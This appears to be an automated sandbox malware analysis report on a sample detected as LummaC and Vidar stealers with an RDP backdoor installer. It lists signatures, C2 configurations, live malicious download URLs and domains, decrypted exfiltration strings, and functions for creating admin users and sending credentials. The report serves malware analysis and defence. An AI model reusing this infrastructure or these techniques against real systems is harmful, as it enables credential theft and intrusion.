Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1519784
MD5: 6fd36225fe8b30bef2ba91748be1be69
SHA1: 1dd29bec09dcb70474865f9aa06158d4ba60df77
SHA256: 5c0e7c82e65dfbf8b4416abe9734d66b52acfd695a0686107454f12698f329db
Tags: exeuser-Bitsight
Infos:

Detection

LummaC, RDPWrap Tool, LummaC Stealer, Vidar
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Vidar
Yara detected Vidar stealer
.NET source code contains potential unpacker
.NET source code contains very large array initializations
.NET source code references suspicious native API functions
AI detected suspicious sample
Adds a new user with administrator rights
Allocates memory in foreign processes
Allows multiple concurrent remote connection
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Enables remote desktop connection
Found many strings related to Crypto-Wallets (likely being stolen)
Injects a PE file into a foreign processes
LummaC encrypted strings found
Machine Learning detection for dropped file
Modifies the windows firewall
Sample uses string decryption to hide its real strings
Searches for specific processes (likely to inject)
Sigma detected: Outbound RDP Connections Over Non-Standard Tools
Sigma detected: RDP Sensitive Settings Changed
Sigma detected: Suspicious Add User to Remote Desktop Users Group
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Uses netsh to modify the Windows network and firewall settings
Writes to foreign memory regions
Yara detected Costura Assembly Loader
Yara detected RDPWrap Tool
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to detect sandboxes (mouse cursor move detection)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to record screenshots
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates or modifies windows services
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Modifies existing windows services
PE / OLE file has an invalid certificate
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: New User Created Via Net.EXE
Spawns drivers
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Vidar Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

AV Detection
barindex
Antivirus detection for URL or domain
Source: https://steamcommunity.com/profiles/76561199724331900 URL Reputation: Label: malware
Source: http://147.45.44.104/prog/66f5dbaca34ac_lfdnsafnds.exe1kkkk1220804http://147.45.44.104/prog/66f5db9e Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/ URL Reputation: Label: malware
Source: reinforcenh.shop Avira URL Cloud: Label: malware
Source: stogeneratmns.shop Avira URL Cloud: Label: malware
Source: https://5.75.211.162/mozglue.dll Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199780418869/badges Avira URL Cloud: Label: malware
Source: https://5.75.211.162/freebl3.dll Avira URL Cloud: Label: malware
Source: https://5.75.211.162/vcruntime140.dll Avira URL Cloud: Label: malware
Source: https://reinforcenh.shop/api Avira URL Cloud: Label: malware
Source: ghostreedmnu.shop Avira URL Cloud: Label: malware
Source: wallkedsleeoi.shop Avira URL Cloud: Label: malware
Source: https://5.75.211.162/F_ Avira URL Cloud: Label: malware
Source: https://reinforcenh.shop/ Avira URL Cloud: Label: malware
Source: https://5.75.211.162 Avira URL Cloud: Label: malware
Source: https://t.me/ae5ed Avira URL Cloud: Label: malware
Source: https://5.75.211.162/B Avira URL Cloud: Label: malware
Source: https://5.75.211.162/C Avira URL Cloud: Label: malware
Source: https://vozmeatillu.shop/api Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f5dbaca34ac_lfdnsafnds.exe Avira URL Cloud: Label: malware
Source: https://offensivedzvju.shop/api Avira URL Cloud: Label: malware
Source: https://5.75.211.162/;_ Avira URL Cloud: Label: malware
Source: fragnantbui.shop Avira URL Cloud: Label: malware
Source: offensivedzvju.shop Avira URL Cloud: Label: malware
Source: drawzhotdog.shop Avira URL Cloud: Label: malware
Source: vozmeatillu.shop Avira URL Cloud: Label: malware
Source: https://drawzhotdog.shop/api Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe Avira URL Cloud: Label: malware
Source: https://gutterydhowi.shop/api Avira URL Cloud: Label: malware
Source: https://5.75.211.162/msvcp140.dllh Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66f5de72d9ebd_rdp[1].exe Avira: detection malicious, Label: HEUR/AGEN.1311769
Source: C:\ProgramData\BKJKEBGDHD.exe Avira: detection malicious, Label: HEUR/AGEN.1311769
Found malware configuration
Source: 00000000.00000002.2144529083.0000000003AB5000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "4b74261d834413e886f920a1e9dc5b33"}
Source: 11.2.RegAsm.exe.400000.0.unpack Malware Configuration Extractor: LummaC {"C2 url": ["stogeneratmns.shop", "offensivedzvju.shop", "drawzhotdog.shop", "vozmeatillu.shop", "fragnantbui.shop", "ghostreedmnu.shop", "wallkedsleeoi.shop", "reinforcenh.shop", "gutterydhowi.shop"], "Build id": "H8NgCl--"}
Multi AV Scanner detection for dropped file
Source: C:\Program Files\RDP Wrapper\rdpwrap.dll ReversingLabs: Detection: 54%
Source: C:\ProgramData\GIJEGDAKEH.exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66f5db9e54794_vfkagks[1].exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe ReversingLabs: Detection: 47%
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 42%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66f5de72d9ebd_rdp[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Joe Sandbox ML: detected
Source: C:\ProgramData\BKJKEBGDHD.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 0000000B.00000002.2870661288.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: reinforcenh.shop
Source: 0000000B.00000002.2870661288.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: stogeneratmns.shop
Source: 0000000B.00000002.2870661288.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: fragnantbui.shop
Source: 0000000B.00000002.2870661288.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: drawzhotdog.shop
Source: 0000000B.00000002.2870661288.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: vozmeatillu.shop
Source: 0000000B.00000002.2870661288.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: offensivedzvju.shop
Source: 0000000B.00000002.2870661288.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: ghostreedmnu.shop
Source: 0000000B.00000002.2870661288.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: gutterydhowi.shop
Source: 0000000B.00000002.2870661288.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: wallkedsleeoi.shop
Source: 0000000B.00000002.2870661288.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000B.00000002.2870661288.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: TeslaBrowser/5.5
Source: 0000000B.00000002.2870661288.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: - Screen Resoluton:
Source: 0000000B.00000002.2870661288.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: - Physical Installed Memory:
Source: 0000000B.00000002.2870661288.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: Workgroup: -
Source: 0000000B.00000002.2870661288.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: H8NgCl--
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree, 3_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 3_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00411E5D CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA, 3_2_00411E5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040A7D8 _memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,_memmove,lstrcatA,PK11_FreeSlot,lstrcatA, 3_2_0040A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C526C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer, 3_2_6C526C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C67A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util, 3_2_6C67A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C674440 PK11_PrivDecrypt, 3_2_6C674440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C644420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free, 3_2_6C644420
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Directory created: C:\Program Files\RDP Wrapper
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Directory created: C:\Program Files\RDP Wrapper\rdpwrap.ini
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Directory created: C:\Program Files\RDP Wrapper\rdpwrap.dll
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:57876 version: TLS 1.2
Source: unknown HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.6:57877 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.194.216:443 -> 192.168.2.6:57903 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.4.136:443 -> 192.168.2.6:57904 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:57906 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:57908 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:57910 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.6:57912 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:57914 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:57916 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:57916 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.77.130:443 -> 192.168.2.6:57917 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:57918 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.128.144:443 -> 192.168.2.6:57919 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:57923 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:57925 version: TLS 1.2
Source: unknown HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.6:57926 version: TLS 1.2
Source: file.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2981509228.000000006C58D000.00000002.00000001.01000000.00000009.sdmp
Source: Binary string: freebl3.pdb source: RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: freebl3.pdbp source: RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2987077823.000000006C74F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.3.dr
Source: Binary string: c:\rje\tg\vlt\obj\Release\ojc.pdb source: 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, BGDGHJEHJJ.exe.3.dr
Source: Binary string: <>c__DisplayClass0_0<GenerateRandomPassword>b__0<>u__1IEnumerable`1Task`1TaskAwaiter`10xb11a1<>u__2Func`2Dictionary`2<Main>d__5get_UTF8<Module><Main>Q2xpZW50QUFBUkRQSW5zdGFsbGVyQUFBUHJvZ3JhbUFBQXNzZW1ibHlMb2FkZXJBUkRQQ3JlYXRvcl9Qcm9jZXNzZWRCeUZvZHlBSystem.IOGetPublicIP_Costuracostura.metadatamscorlibSystem.Collections.GenericDiscoverDeviceAsyncDownloadFileTaskAsyncCreatePortMapAsyncReadLoadAddisAttachedInterlockedcostura.costura.pdb.compressedcostura.costura.dll.compressedcostura.system.diagnostics.diagnosticsource.dll.compressedcostura.open.nat.dll.compressedget_ConnectedAwaitUnsafeOnCompletedget_IsCompletedSystem.Collections.SpecializedNewGuidReadToEndExecuteCommandcommandGenerateRandomPasswordpasswordNatDeviceCancellationTokenSourcesourceset_ModePaddingModeCompressionModeCipherModeRangeExchangenullCacheEnumerableIDisposableget_AsyncWaitHandleDownloadFileget_NamefullNameGetAdminGroupNameGetNamerequestedAssemblyNameusernameWaitOneCombineIAsyncStateMachineSetStateMachinestateMachineValueTypeSystem.CorecultureDisposeCreate<>1__stateWriteCompilerGeneratedAttributeDebuggableAttributeAsyncStateMachineAttributeTargetFrameworkAttributeDebuggerHiddenAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeset_UseShellExecuteByteTryGetValueadd_AssemblyResolveRDPCreator.exeSystem.Threadingset_PaddingEncodingSystem.Runtime.VersioningMappingFromBase64StringDownloadStringCultureToStringGetStringSubstringAttachComputeHashzipPathGetTempPathpathget_LengthlengthEndsWithUriAsyncCallbacknullCacheLockTransformFinalBlockget_TaskProtocolzipUrlserverUrlurlReadStreamLoadStreamGetManifestResourceStreamDeflateStreamMemoryStreamstreamset_ItemSystemSymmetricAlgorithmHashAlgorithmRandomrandomICryptoTransformTimeSpanIsPortOpenRDPCreator.cMainAppDomainget_CurrentDomainFodyVersionSystem.IO.CompressiondestinationSystem.GlobalizationSystem.ReflectionNameValueCollectionset_PositionSetExceptionStringComparisonusernamePatternpatternCopyToget_CultureInfoProcessStartInfoAddUserToAdminGroupSystem.LinqClearStreamReaderTextReaderMD5CryptoServiceProviderTripleDESCryptoServiceProviderAsyncTaskMethodBuilder<>t__buildersenderResolveEventHandlerPortMapperInstallRDPWrapperNatDiscovererCheckForRDPUserCreateAdminUserTaskAwaiterGetAwaiterEnterRDPCreator.ctor.cctorMonitorCreateDecryptorSystem.DiagnosticsFromMillisecondsSystem.Runtime.CompilerServicesReadFromEmbeddedResourcesDebuggingModesGetAssembliesresourceNamessymbolNamesassemblyNamesGetBytesUploadValuesget_FlagsAssemblyNameFlagsResolveEventArgsargsSystem.Threading.TasksSendCredentialsEqualsContainsget_CharsProcessSystem.Net.SocketsExistsOpen.NatConcatObjectSelectBeginConnectSystem.NetWaitForExitIAsyncResultGetResultSetResultToLowerInvariantWebClientTcpClientEnvironmentStartConvertRDPPortportget_StandardOutputset_RedirectStandardOutputExecuteCommandWithOutputMoveNextSystem.Textset_CreateNoWindowToArrayset_KeyContainsKeySystem.Security.CryptographyResolveAssemblyReadExistingAssemblyGetExecutingAssemblyIsNullOrEmptygVexuh5UIe2gYxGhNy
Source: Binary string: rdpclip.pdbH source: RDPWInst.exe, 00000016.00000002.2858987262.0000000000450000.00000002.00000001.01000000.0000000F.sdmp
Source: Binary string: costura.costura.pdb.compressedlB source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: c:\rje\tg\vea6\obj\Release\ojc.pdb source: file.exe
Source: Binary string: costura.costura.pdb.compressed source: BKJKEBGDHD.exe, 0000000F.00000000.2789350400.0000000000AD2000.00000002.00000001.01000000.0000000C.sdmp, 66f5de72d9ebd_rdp[1].exe.3.dr
Source: Binary string: rdpclip.pdbJ source: RDPWInst.exe, 00000016.00000002.2858987262.0000000000450000.00000002.00000001.01000000.0000000F.sdmp
Source: Binary string: softokn3.pdb@ source: RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source: Binary string: RfxVmt.pdb source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000016.00000002.2858987262.0000000000450000.00000002.00000001.01000000.0000000F.sdmp
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000003.00000002.2943594444.0000000038886000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.3.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000003.00000002.2920076406.000000002C9A6000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.3.dr
Source: Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2987077823.000000006C74F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.3.dr
Source: Binary string: rdpclip.pdb source: RDPWInst.exe, 00000016.00000002.2858987262.0000000000450000.00000002.00000001.01000000.0000000F.sdmp
Source: Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2981509228.000000006C58D000.00000002.00000001.01000000.00000009.sdmp
Source: Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000003.00000002.2893376211.0000000020568000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2858662976.000000001A5FC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3305375474.000000002050B000.00000002.00001000.00020000.00000000.sdmp
Source: Binary string: RfxVmt.pdbGCTL source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000016.00000002.2858987262.0000000000450000.00000002.00000001.01000000.0000000F.sdmp
Source: Binary string: c:\rje\tg\ps7uj1z\obj\Release\ojc.pdb source: GIJEGDAKEH.exe.3.dr, 66f5db9e54794_vfkagks[1].exe.3.dr
Source: Binary string: softokn3.pdb source: RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source: Binary string: costura.costura.pdb.compressed|||Costura.pdb|6C6000A5EAF8579850AB82A89BD6268776EB51AD|2608 source: BKJKEBGDHD.exe, 0000000F.00000000.2789350400.0000000000AD2000.00000002.00000001.01000000.0000000C.sdmp, 66f5de72d9ebd_rdp[1].exe.3.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 3_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose, 3_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose, 3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA, 3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 3_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 3_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose, 3_2_0040CD37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA, 3_2_00415142
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr fs:[00000030h] 3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov dword ptr [ebp-04h], eax 3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then xor eax, eax 11_2_0040F042
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp] 11_2_0040D470
